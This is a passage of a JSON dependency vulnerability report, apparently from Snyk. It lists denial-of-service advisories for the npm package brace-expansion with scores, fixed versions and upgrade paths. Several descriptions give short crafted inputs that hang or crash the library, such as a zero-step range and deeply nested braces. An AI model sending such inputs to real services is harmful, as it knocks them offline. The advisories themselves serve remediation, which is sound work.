"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
